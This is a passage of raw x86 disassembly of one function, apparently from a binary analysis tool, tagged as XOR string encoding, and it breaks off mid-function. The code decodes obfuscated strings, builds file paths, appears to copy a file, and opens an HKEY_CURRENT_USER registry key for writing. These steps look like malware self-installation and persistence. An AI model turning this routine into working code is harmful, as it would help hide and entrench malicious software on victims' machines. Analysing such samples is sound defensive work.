Function at 0x133b710
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0xdb4ea3
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x460
push ebx
mov dword [ebp - 0x10], 0
xor ecx, ecx
push esi
push edi
mov dword [ebp - 0x21], 0x83868593
mov dword [ebp - 0x1d], 0x8a80ac8f
mov dword [ebp - 0x19], 0x9b8d97
mov byte [ebp - 0x15], 1
mov al, cl
sub al, 0x21
xor byte [ebp + ecx - 0x21], al
inc ecx
cmp ecx, 0xb
jb 0x133b753
lea ecx, [ebp - 0x21]
mov byte [ebp - 0x15], 0
lea edx, [ecx + 1]
jmp 0x133b770
mov al, byte [ecx]
inc ecx
test al, al
jne 0x133b770
mov ebx, 0x7fffffff
sub ecx, edx
mov edx, dword [0xde2d6c]
mov eax, ebx
sub eax, edx
cmp eax, ecx
jb 0x133d485
cmp dword [0xde2d70], 0x10
mov eax, 0xde2d5c
jb 0x133b7a3
mov eax, dword [0xde2d5c]
push edx
push eax
push ecx
lea eax, [ebp - 0x21]
push eax
push ecx
push dword [ebp - 0x14]
lea ecx, [ebp - 0x238]
call fcn.01396210
mov dword [ebp - 4], 0
xor ecx, ecx
mov dword [ebp - 0x22], 0x90849090
mov dword [ebp - 0x1e], 0x888aa782
mov dword [ebp - 0x1a], 0x9e8a8d89
mov word [ebp - 0x16], 0x100
lea ecx, [ecx]
mov al, cl
sub al, 0x21
xor byte [ebp + ecx - 0x22], al
inc ecx
cmp ecx, 0xc
jb 0x133b7e0
lea ecx, [ebp - 0x22]
mov byte [ebp - 0x15], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x133b7f8
sub ecx, edx
mov eax, ebx
mov edx, dword [0xde2d6c]
sub eax, edx
cmp eax, ecx
jb 0x133d48a
cmp dword [0xde2d70], 0x10
mov eax, 0xde2d5c
jb 0x133b826
mov eax, dword [0xde2d5c]
push edx
push eax
push ecx
lea eax, [ebp - 0x22]
push eax
push ecx
push dword [ebp - 0x14]
lea ecx, [ebp - 0x268]
call fcn.01396210
mov byte [ebp - 4], 1
xor ecx, ecx
mov dword [ebp - 0x1f], 0x92b4a596
mov dword [ebp - 0x1b], 0x83918587
mov word [ebp - 0x17], 0x95
mov byte [ebp - 0x15], 1
lea ebx, [ebx]
mov al, cl
sub al, 0x21
xor byte [ebp + ecx - 0x1f], al
inc ecx
cmp ecx, 9
jb 0x133b860
lea ecx, [ebp - 0x1f]
mov byte [ebp - 0x15], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x133b878
sub ecx, edx
mov eax, ebx
mov edx, dword [0xde2d6c]
sub eax, edx
cmp eax, ecx
jb 0x133d48f
cmp dword [0xde2d70], 0x10
mov eax, 0xde2d5c
jb 0x133b8a6
mov eax, dword [0xde2d5c]
push edx
push eax
push ecx
lea eax, [ebp - 0x1f]
push eax
push ecx
push dword [ebp - 0x14]
lea ecx, [ebp - 0x1a8]
call fcn.01396210
push 0x200
lea eax, [ebp - 0x468]
mov byte [ebp - 4], 2
push 0
push eax
call fcn.01405710
add esp, 0xc
lea eax, [ebp - 0x468]
push 0x200
push eax
push 0
push ebx
call 0x1532752
xor eax, eax
lea ecx, [ebp - 0x468]
mov dword [ebp - 0x220], eax
lea edx, [ecx + 1]
mov dword [ebp - 0x21c], eax
mov dword [ebp - 0x218], eax
mov dword [ebp - 0x214], eax
mov dword [ebp - 0x210], eax
mov dword [ebp - 0x20c], eax
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x133b920
sub ecx, edx
lea eax, [ebp - 0x468]
push ecx
push eax
lea ecx, [ebp - 0x220]
call fcn.013282e0
mov ebx, 0x1e
mov dword [ebp - 0x14], ebx
mov byte [ebp - 4], 3
xor ecx, ecx
mov dword [ebp - 0x22], 0xa3a2af93
mov dword [ebp - 0x1e], 0xb6b5a5af
mov dword [ebp - 0x1a], 0xabbda9a3
mov word [ebp - 0x16], 0x100
mov al, cl
sub al, 0x21
xor byte [ebp + ecx - 0x22], al
inc ecx
cmp ecx, 0xc
jb 0x133b965
lea eax, [ebp - 0x22]
mov byte [ebp - 0x15], 0
push eax
call fcn.01412142
mov edx, eax
add esp, 4
test edx, edx
je 0x133bed2
xor eax, eax
mov ecx, edx
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], eax
lea esi, [ecx + 1]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x133b9a6
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x48]
call fcn.013282e0
lea eax, [ebp - 0xf]
mov byte [ebp - 4], 4
push eax
lea ecx, [ebp - 0x48]
mov word [ebp - 0xf], 0x5c
mov byte [ebp - 0xd], 0
call fcn.0138e6a0
cmp dword [ebp - 0x224], 0x10
lea ecx, [ebp - 0x238]
mov esi, dword [ebp - 0x228]
jb 0x133b9ee
mov ecx, dword [ebp - 0x238]
mov edx, dword [ebp - 0x34]
mov eax, edx
mov edi, dword [ebp - 0x38]
sub eax, edi
cmp esi, eax
ja 0x133ba29
lea eax, [esi + edi]
mov dword [ebp - 0x38], eax
lea ebx, [ebp - 0x48]
cmp edx, 0x10
jb 0x133ba0d
mov ebx, dword [ebp - 0x48]
push esi
lea eax, [ebx + edi]
push ecx
push eax
call fcn.01405190
lea eax, [esi + ebx]
add esp, 0xc
mov byte [eax + edi], 0
mov ebx, 0x1e
jmp 0x133ba3b
push esi
push ecx
mov byte [ebp - 0x10], 0
lea ecx, [ebp - 0x48]
push dword [ebp - 0x10]
push esi
call fcn.013947f0
cmp dword [ebp - 0x34], 0x10
lea esi, [ebp - 0x48]
jb 0x133ba47
mov esi, dword [ebp - 0x48]
push 0xde54a0
call fcn.01402a32
add esp, 4
test eax, eax
jne 0x133d494
test esi, esi
je 0x133baa5
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x133ba65
sub ecx, edx
je 0x133baa5
push esi
call dword [0xdbd098]
cmp eax, 0xffffffff
jne 0x133ba96
call dword [0xdbd094]
cmp eax, 0x44
je 0x133ba96
cmp eax, 0x20
je 0x133ba96
cmp eax, 0x45
je 0x133ba96
cmp eax, 0x24
jne 0x133baa5
push 0xde54a0
call fcn.01402a43
add esp, 4
jmp 0x133bac2
push 0xde54a0
call fcn.01402a43
add esp, 4
lea ecx, [ebp - 0x48]
call fcn.0133b170
test al, al
je 0x133be9a
mov dword [ebp - 0x2b], 0x879985f1
xor ecx, ecx
mov word [ebp - 0x27], 0x100
mov al, cl
sub al, 0x21
xor byte [ebp + ecx - 0x2b], al
inc ecx
cmp ecx, 4
jb 0x133bad1
lea ecx, [ebp - 0xf]
mov byte [ebp - 0x26], 0
mov word [ebp - 0xf], 0x5c
lea edx, [ecx + 1]
mov byte [ebp - 0xd], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x133baf3
sub ecx, edx
mov eax, 0x7fffffff
mov edx, dword [ebp - 0x38]
sub eax, edx
cmp eax, ecx
jb 0x133d49a
cmp dword [ebp - 0x34], 0x10
lea eax, [ebp - 0x48]
jb 0x133bb1a
mov eax, dword [ebp - 0x48]
push ecx
lea ecx, [ebp - 0xf]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x14]
lea ecx, [ebp - 0x118]
call fcn.01396210
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x238]
cmp dword [ebp - 0x224], 0x10
mov edi, dword [ebp - 0x228]
jb 0x133bb4f
mov ecx, dword [ebp - 0x238]
mov esi, dword [ebp - 0x104]
mov eax, esi
mov edx, dword [ebp - 0x108]
sub eax, edx
cmp edi, eax
ja 0x133bb97
lea eax, [edx + edi]
mov dword [ebp - 0x108], eax
lea eax, [ebp - 0x118]
cmp esi, 0x10
jb 0x133bb7d
mov eax, dword [ebp - 0x118]
push edi
lea esi, [eax + edx]
push ecx
push esi
call fcn.01405190
add esp, 0xc
mov byte [esi + edi], 0
lea ecx, [ebp - 0x118]
jmp 0x133bbae
push edi
push ecx
mov byte [ebp - 0x14], 0
lea ecx, [ebp - 0x118]
push dword [ebp - 0x14]
push edi
call fcn.013947f0
mov ecx, eax
xor eax, eax
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x9c], eax
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x94], eax
mov eax, dword [ecx]
mov dword [ebp - 0xa8], eax
mov eax, dword [ecx + 4]
mov dword [ebp - 0xa4], eax
mov eax, dword [ecx + 8]
mov dword [ebp - 0xa0], eax
mov eax, dword [ecx + 0xc]
mov dword [ebp - 0x9c], eax
mov eax, dword [ecx + 0x10]
mov dword [ebp - 0x98], eax
mov eax, dword [ecx + 0x14]
mov dword [ebp - 0x94], eax
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov byte [ecx], 0
lea eax, [ebp - 0x2b]
mov byte [ebp - 4], 6
push eax
lea ecx, [ebp - 0xa8]
call fcn.0138e6a0
mov edx, eax
mov ebx, 0xfe
xor eax, eax
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], eax
mov ecx, dword [edx]
mov dword [ebp - 0x60], ecx
mov eax, dword [edx + 4]
mov dword [ebp - 0x5c], eax
mov eax, dword [edx + 8]
mov dword [ebp - 0x58], eax
mov eax, dword [edx + 0xc]
mov dword [ebp - 0x54], eax
mov eax, dword [edx + 0x10]
mov dword [ebp - 0x50], eax
mov eax, dword [edx + 0x14]
mov dword [ebp - 0x4c], eax
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov byte [edx], 0
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x94]
cmp ecx, 0x10
jb 0x133bcbd
mov edx, dword [ebp - 0xa8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x133bcb3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x133d49f
push ecx
push edx
call fcn.01403731
add esp, 8
mov dword [ebp - 0x98], 0
mov dword [ebp - 0x94], 0xf
mov byte [ebp - 0xa8], 0
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x104]
cmp ecx, 0x10
jb 0x133bd16
mov edx, dword [ebp - 0x118]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x133bd0c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x133d49f
push ecx
push edx
call fcn.01403731
add esp, 8
sub esp, 0x18
mov dword [ebp - 0x108], 0
lea eax, [ebp - 0x60]
mov dword [ebp - 0x104], 0xf
mov ecx, esp
mov byte [ebp - 0x118], 0
push eax
call fcn.0138e990
call fcn.0132fd60
add esp, 0x18
test al, al
jne 0x133be62
cmp dword [ebp - 0x4c], 0x10
lea eax, [ebp - 0x60]
jb 0x133bd5b
mov eax, dword [ebp - 0x60]
cmp dword [ebp - 0x20c], 0x10
lea ecx, [ebp - 0x220]
jb 0x133bd70
mov ecx, dword [ebp - 0x220]
push 0
push eax
push ecx
call dword [0xdbd090]
test eax, eax
je 0x133be62
mov dword [ebp - 0x8f], 0x96878f8c
xor ecx, ecx
mov dword [ebp - 0x8b], 0x83978594
mov dword [ebp - 0x87], 0x8980a5bb
mov dword [ebp - 0x83], 0x819e8399
mov dword [ebp - 0x7f], 0xa5ad8489
mov dword [ebp - 0x7b], 0x99919a9a
mov dword [ebp - 0x77], 0xb9a58b80
mov dword [ebp - 0x73], 0x9b8f8e8e
mov dword [ebp - 0x6f], 0x67577491
mov dword [ebp - 0x6b], 0x696c7771
mov dword [ebp - 0x67], 0x7f5b5469
mov word [ebp - 0x63], 0x65
mov byte [ebp - 0x61], 1
jmp 0x133bdf0
mov al, cl
sub al, 0x21
xor byte [ebp + ecx - 0x8f], al
inc ecx
cmp ecx, 0x2d
jb 0x133bdf0
lea eax, [ebp - 0x10]
mov byte [ebp - 0x61], 0
push eax
push 0x20006
push 0
lea eax, [ebp - 0x8f]
push eax
push 0x80000001
call 0x157d645
ret
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x133be9a
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x133be90
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x133d4a4
push ecx
push edx
call fcn.01403731
add esp, 8
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x34]
cmp ecx, 0x10
jb 0x133bed2
mov edx, dword [ebp - 0x48]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x133bec8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x133d4a9
push ecx
push edx
call fcn.01403731
add esp, 8
mov dword [ebp - 0x25], 0xb7adac9e
xor ecx, ecx
mov dword [ebp - 0x21], 0xb5b7a1b0
mov dword [ebp - 0x1d], 0xaca6bab7
mov dword [ebp - 0x19], 0xa8a0a2
mov byte [ebp - 0x15], 1
mov al, cl
sub al, 0x21
xor byte [ebp + ecx - 0x25], al
inc ecx
cmp ecx, 0xf
jb 0x133bef4
lea eax, [ebp - 0x25]
mov byte [ebp - 0x15], 0
push eax
call fcn.01412142
mov edx, eax
add esp, 4
test edx, edx
je 0x133d373
xor eax, eax
mov ecx, edx
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], eax
lea esi, [ecx + 1]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x133bf35
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x48]
call fcn.013282e0
lea eax, [ebp - 0xf]
mov byte [ebp - 4], 0xa
push eax
lea ecx, [ebp - 0x48]
mov word [ebp - 0xf], 0x5c
mov byte [ebp - 0xd], 0
call fcn.0138e6a0
cmp dword [ebp - 0x194], 0x10
lea ecx, [ebp - 0x1a8]
jb 0x133bf77
mov ecx, dword [ebp - 0x1a8]
mov esi, dword [ebp - 0x34]
mov eax, esi
mov edx, dword [ebp - 0x38]
sub eax, edx
mov edi, dword [ebp - 0x198]
cmp edi, eax
ja 0x133bfb0
lea eax, [edi + edx]
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x48]
cmp esi, 0x10
jb 0x133bf9c
mov eax, dword [ebp - 0x48]
push edi
lea esi, [eax + edx]
push ecx
push esi
call fcn.01405190
add esp, 0xc
mov byte [edi + esi], 0
jmp 0x133bfc8
push edi
push ecx
mov byte [ebp - 0x10], 0
lea ecx, [ebp - 0x48]
push dword [ebp - 0x10]
push edi
call fcn.013947f0
mov edi, dword [ebp - 0x198]
cmp dword [ebp - 0x34], 0x10
lea esi, [ebp - 0x48]
jb 0x133bfd4
mov esi, dword [ebp - 0x48]
push 0xde54a0
call fcn.01402a32
add esp, 4
test eax, eax
jne 0x133d4ae
test esi, esi
je 0x133c088
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x133bff6
sub ecx, edx
je 0x133c088
push esi
call dword [0xdbd098]
cmp eax, 0xffffffff
jne 0x133c02b
call dword [0xdbd094]
cmp eax, 0x44
je 0x133c02b
cmp eax, 0x20
je 0x133c02b
cmp eax, 0x45
je 0x133c02b
cmp eax, 0x24
jne 0x133c088
push 0xde54a0
call fcn.01402a43
add esp, 4
mov bl, 1
mov dword [ebp - 4], 0xa
test byte [ebp - 0x14], 1
je 0x133c117
mov ecx, dword [ebp - 0x164]
cmp ecx, 0x10
jb 0x133c117
mov edx, dword [ebp - 0x178]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x133c10d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x133d4b4
jmp 0x133c10d
push 0xde54a0
call fcn.01402a43
add esp, 4
lea edx, [ebp - 0x48]
cmp dword [ebp - 0x34], 0x10
jb 0x133c0a1
mov edx, dword [ebp - 0x48]
xor eax, eax
mov ecx, edx
mov dword [ebp - 0x178], eax
mov dword [ebp - 0x174], eax
mov dword [ebp - 0x170], eax
mov dword [ebp - 0x16c], eax
lea esi, [ecx + 1]
mov dword [ebp - 0x168], eax
mov dword [ebp - 0x164], eax
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x133c0d0
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x178]
call fcn.013282e0
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x178]
or ebx, 1
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], ebx
call fcn.0133b170
test al, al
jne 0x133c038
xor bl, bl
jmp 0x133c03a
push ecx
push edx
call fcn.01403731
add esp, 8
test bl, bl
je 0x133d33f
mov dword [ebp - 0x2b], 0x879985f1
xor ecx, ecx
mov word [ebp - 0x27], 0x100
mov edi, edi
mov al, cl
sub al, 0x21
xor byte [ebp + ecx - 0x2b], al
inc ecx
cmp ecx, 4
jb 0x133c130
lea ecx, [ebp - 0xf]
mov byte [ebp - 0x26], 0
mov word [ebp - 0xf], 0x5c
lea edx, [ecx + 1]
mov byte [ebp - 0xd], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x133c152
sub ecx, edx
mov eax, 0x7fffffff
mov edx, dword [ebp - 0x38]
sub eax, edx
cmp eax, ecx
jb 0x133d4b9
cmp dword [ebp - 0x34], 0x10
lea eax, [ebp - 0x48]
jb 0x133c179
mov eax, dword [ebp - 0x48]
push ecx
lea ecx, [ebp - 0xf]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x14]
lea ecx, [ebp - 0x250]
call fcn.01396210
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x1a8]
cmp dword [ebp - 0x194], 0x10
jb 0x133c1a8
mov ecx, dword [ebp - 0x1a8]
mov edx, dword [ebp - 0x23c]
mov eax, edx
mov esi, dword [ebp - 0x240]
sub eax, esi
cmp edi, eax
ja 0x133c1f3
lea eax, [edi + esi]
mov dword [ebp - 0x240], eax
lea ebx, [ebp - 0x250]
cmp edx, 0x10
jb 0x133c1d6
mov ebx, dword [ebp - 0x250]
push edi
lea eax, [ebx + esi]
push ecx
push eax
call fcn.01405190
lea eax, [edi + ebx]
add esp, 0xc
mov byte [eax + esi], 0
lea ecx, [ebp - 0x250]
jmp 0x133c210
push edi
push ecx
mov byte [ebp - 0x14], 0
lea ecx, [ebp - 0x250]
push dword [ebp - 0x14]
push edi
call fcn.013947f0
mov edi, dword [ebp - 0x198]
mov ecx, eax
xor eax, eax
mov dword [ebp - 0x1c0], eax
mov dword [ebp - 0x1bc], eax
mov dword [ebp - 0x1b8], eax
mov dword [ebp - 0x1b4], eax
mov dword [ebp - 0x1b0], eax
mov dword [ebp - 0x1ac], eax
mov eax, dword [ecx]
mov dword [ebp - 0x1c0], eax
mov eax, dword [ecx + 4]
mov dword [ebp - 0x1bc], eax
mov eax, dword [ecx + 8]
mov dword [ebp - 0x1b8], eax
mov eax, dword [ecx + 0xc]
mov dword [ebp - 0x1b4], eax
mov eax, dword [ecx + 0x10]
mov dword [ebp - 0x1b0], eax
mov eax, dword [ecx + 0x14]
mov dword [ebp - 0x1ac], eax
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov byte [ecx], 0
lea eax, [ebp - 0x2b]
mov byte [ebp - 4], 0xd
push eax
lea ecx, [ebp - 0x1c0]
call fcn.0138e6a0
mov edx, eax
xor eax, eax
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x12c], eax
mov dword [ebp - 0x128], eax
mov dword [ebp - 0x124], eax
mov dword [ebp - 0x120], eax
mov dword [ebp - 0x11c], eax
mov ecx, dword [edx]
mov dword [ebp - 0x130], ecx
mov eax, dword [edx + 4]
mov dword [ebp - 0x12c], eax
mov eax, dword [edx + 8]
mov dword [ebp - 0x128], eax
mov eax, dword [edx + 0xc]
mov dword [ebp - 0x124], eax
mov eax, dword [edx + 0x10]
mov dword [ebp - 0x120], eax
mov eax, dword [edx + 0x14]
mov dword [ebp - 0x11c], eax
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov byte [edx], 0
mov byte [ebp - 4], 0xf
mov ecx, dword [ebp - 0x1ac]
cmp ecx, 0x10
jb 0x133c33b
mov edx, dword [ebp - 0x1c0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x133c331
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x133d4be
push ecx
push edx
call fcn.01403731
add esp, 8
mov dword [ebp - 0x1b0], 0
mov dword [ebp - 0x1ac], 0xf
mov byte [ebp - 0x1c0], 0
mov byte [ebp - 4], 0x10
mov ecx, dword [ebp - 0x23c]
cmp ecx, 0x10
jb 0x133c394
mov edx, dword [ebp - 0x250]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x133c38a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x133d4be
push ecx
push edx
call fcn.01403731
add esp, 8
sub esp, 0x18
mov dword [ebp - 0x240], 0
lea eax, [ebp - 0x130]
mov dword [ebp - 0x23c], 0xf
mov ecx, esp
mov byte [ebp - 0x250], 0
push eax
call fcn.0138e990
call fcn.0132fd60
add esp, 0x18
test al, al
jne 0x133d298
cmp dword [ebp - 0x11c], 0x10
lea eax, [ebp - 0x130]
jb 0x133c3e5
mov eax, dword [ebp - 0x130]
cmp dword [ebp - 0x20c], 0x10
lea ecx, [ebp - 0x220]
jb 0x133c3fa
mov ecx, dword [ebp - 0x220]
push 0
push eax
push ecx
call dword [0xdbd090]
test eax, eax
je 0x133d298
push 0x104
lea eax, [ebp - 0x370]
mov dword [ebp - 0x10], 0x104
push 0
push eax
call fcn.01405710
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x370]
push eax
push eax
call 0x149085d
mov dword [ebp - 0xc8], 0xc0b3a8ff
xor ecx, ecx
mov dword [ebp - 0xc4], 0x8596cbc3
mov dword [ebp - 0xc0], 0xbfa6a0c7
mov dword [ebp - 0xbc], 0xceb4a0b9
mov dword [ebp - 0xb8], 0xd29d82c0
mov dword [ebp - 0xb4], 0xbeb2bdbb
mov dword [ebp - 0xb0], 0xadabb2
mov byte [ebp - 0xac], 1
lea esp, [esp]
mov al, cl
sub al, 0x21
xor byte [ebp + ecx - 0xc8], al
inc ecx
cmp ecx, 0x1b
jb 0x133c490
mov byte [ebp - 0xac], 0
xor ecx, ecx
mov dword [ebp - 0x1d], 0x96cec0fd
mov dword [ebp - 0x19], 0xc7c48d
mov byte [ebp - 0x15], 1
lea esp, [esp]
mov al, cl
sub al, 0x21
xor byte [ebp + ecx - 0x1d], al
inc ecx
cmp ecx, 7
jb 0x133c4c0
mov byte [ebp - 0x15], 0
xor ecx, ecx
mov dword [ebp - 0x2e], 0x96cec0fd
mov dword [ebp - 0x2a], 0xc7c491
mov byte [ebp - 0x26], 1
mov al, cl
sub al, 0x21
xor byte [ebp + ecx - 0x2e], al
inc ecx
cmp ecx, 7
jb 0x133c4e6
xor eax, eax
mov byte [ebp - 0x26], 0
lea ecx, [ebp - 0x370]
mov dword [ebp - 0x190], eax
mov dword [ebp - 0x18c], eax
lea edx, [ecx + 1]
mov dword [ebp - 0x188], eax
mov dword [ebp - 0x184], eax
mov dword [ebp - 0x180], eax
mov dword [ebp - 0x17c], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x133c527
sub ecx, edx
lea eax, [ebp - 0x370]
push ecx
push eax
lea ecx, [ebp - 0x190]
call fcn.013282e0
mov byte [ebp - 4], 0x11
xor ecx, ecx
mov dword [ebp - 0x100], 0x968983ac
mov dword [ebp - 0xfc], 0x958e9782
mov dword [ebp - 0xf8], 0x988ac7c7
mov dword [ebp - 0xf4], 0x8b998d8e
mov dword [ebp - 0xf0], 0xd297dfcf
mov dword [ebp - 0xec], 0xd6a0a6dc
mov word [ebp - 0xe8], 0xd5
mov byte [ebp - 0xe6], 1
mov al, cl
sub al, 0x21
xor byte [ebp + ecx - 0x100], al
inc ecx
cmp ecx, 0x19
jb 0x133c595
lea eax, [ebp - 0x190]
mov byte [ebp - 0xe6], 0
push eax
lea edx, [ebp - 0x100]
lea ecx, [ebp - 0xe4]
call fcn.01392660
add esp, 4
lea ecx, [ebp - 0x2e]
mov byte [ebp - 4], 0x12
push ecx
mov ecx, eax
call fcn.0138e6a0
mov edx, eax
xor eax, eax
mov dword [ebp - 0x160], eax
mov dword [ebp - 0x15c], eax
mov dword [ebp - 0x158], eax
mov dword [ebp - 0x154], eax
mov dword [ebp - 0x150], eax
mov dword [ebp - 0x14c], eax
mov ecx, dword [edx]
mov dword [ebp - 0x160], ecx
mov eax, dword [edx + 4]
mov dword [ebp - 0x15c], eax
mov eax, dword [edx + 8]
mov dword [ebp - 0x158], eax
mov eax, dword [edx + 0xc]
mov dword [ebp - 0x154], eax
mov eax, dword [edx + 0x10]
mov dword [ebp - 0x150], eax
mov eax, dword [edx + 0x14]
mov dword [ebp - 0x14c], eax
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov byte [edx], 0
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x130]
cmp dword [ebp - 0x11c], 0x10
mov esi, dword [ebp - 0x120]
jb 0x133c664
mov ecx, dword [ebp - 0x130]
mov edx, dword [ebp - 0x14c]
mov eax, edx
mov ebx, dword [ebp - 0x150]
sub eax, ebx
cmp esi, eax
ja 0x133c6b6
lea eax, [ebx + esi]
mov dword [ebp - 0x150], eax
lea eax, [ebp - 0x160]
mov dword [ebp - 0x14], eax
cmp edx, 0x10
jb 0x133c698
mov eax, dword [ebp - 0x160]
mov dword [ebp - 0x14], eax
push esi
add eax, ebx
push ecx
push eax
call fcn.01405190
mov eax, dword [ebp - 0x14]
lea ecx, [ebp - 0x160]
add esp, 0xc
add eax, esi
mov byte [eax + ebx], 0
jmp 0x133c6cd
push esi
push ecx
mov byte [ebp - 0x14], 0
lea ecx, [ebp - 0x160]
push dword [ebp - 0x14]
push esi
call fcn.013947f0
mov ecx, eax
xor eax, eax
mov dword [ebp - 0x1f0], eax
mov dword [ebp - 0x1ec], eax
mov dword [ebp - 0x1e8], eax
mov dword [ebp - 0x1e4], eax
mov dword [ebp - 0x1e0], eax
mov dword [ebp - 0x1dc], eax
mov eax, dword [ecx]
mov dword [ebp - 0x1f0], eax
mov eax, dword [ecx + 4]
mov dword [ebp - 0x1ec], eax
mov eax, dword [ecx + 8]
mov dword [ebp - 0x1e8], eax
mov eax, dword [ecx + 0xc]
mov dword [ebp - 0x1e4], eax
mov eax, dword [ecx + 0x10]
mov dword [ebp - 0x1e0], eax
mov eax, dword [ecx + 0x14]
mov dword [ebp - 0x1dc], eax
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov byte [ecx], 0
lea eax, [ebp - 0x1d]
mov byte [ebp - 4], 0x14
push eax
lea ecx, [ebp - 0x1f0]
call fcn.0138e6a0
mov edx, eax
xor eax, eax
mov dword [ebp - 0x148], eax
mov dword [ebp - 0x144], eax
mov dword [ebp - 0x140], eax
mov dword [ebp - 0x13c], eax
mov dword [ebp - 0x138], eax
mov dword [ebp - 0x134], eax
mov ecx, dword [edx]
mov dword [ebp - 0x148], ecx
mov eax, dword [edx + 4]
mov dword [ebp - 0x144], eax
mov eax, dword [edx + 8]
mov dword [ebp - 0x140], eax
mov eax, dword [edx + 0xc]
mov dword [ebp - 0x13c], eax
mov eax, dword [edx + 0x10]
mov dword [ebp - 0x138], eax
mov eax, dword [edx + 0x14]
mov dword [ebp - 0x134], eax
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov byte [edx], 0
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x1a8]
cmp dword [ebp - 0x194], 0x10
jb 0x133c7d3
mov ecx, dword [ebp - 0x1a8]
mov edx, dword [ebp - 0x134]
mov eax, edx
mov esi, dword [ebp - 0x138]
sub eax, esi
cmp edi, eax
ja 0x133c81e
lea eax, [edi + esi]
mov dword [ebp - 0x138], eax
lea ebx, [ebp - 0x148]
cmp edx, 0x10
jb 0x133c801
mov ebx, dword [ebp - 0x148]
push edi
lea eax, [ebx + esi]
push ecx
push eax
call fcn.01405190
lea eax, [edi + ebx]
add esp, 0xc
mov byte [eax + esi], 0
lea ecx, [ebp - 0x148]
jmp 0x133c83b
push edi
push ecx
mov byte [ebp - 0x14], 0
lea ecx, [ebp - 0x148]
push dword [ebp - 0x14]
push edi
call fcn.013947f0
mov edi, dword [ebp - 0x198]
mov ecx, eax
xor eax, eax
mov dword [ebp - 0x1d8], eax
mov dword [ebp - 0x1d4], eax
mov dword [ebp - 0x1d0], eax
mov dword [ebp - 0x1cc], eax
mov dword [ebp - 0x1c8], eax
mov dword [ebp - 0x1c4], eax
mov eax, dword [ecx]
mov dword [ebp - 0x1d8], eax
mov eax, dword [ecx + 4]
mov dword [ebp - 0x1d4], eax
mov eax, dword [ecx + 8]
mov dword [ebp - 0x1d0], eax
mov eax, dword [ecx + 0xc]
mov dword [ebp - 0x1cc], eax
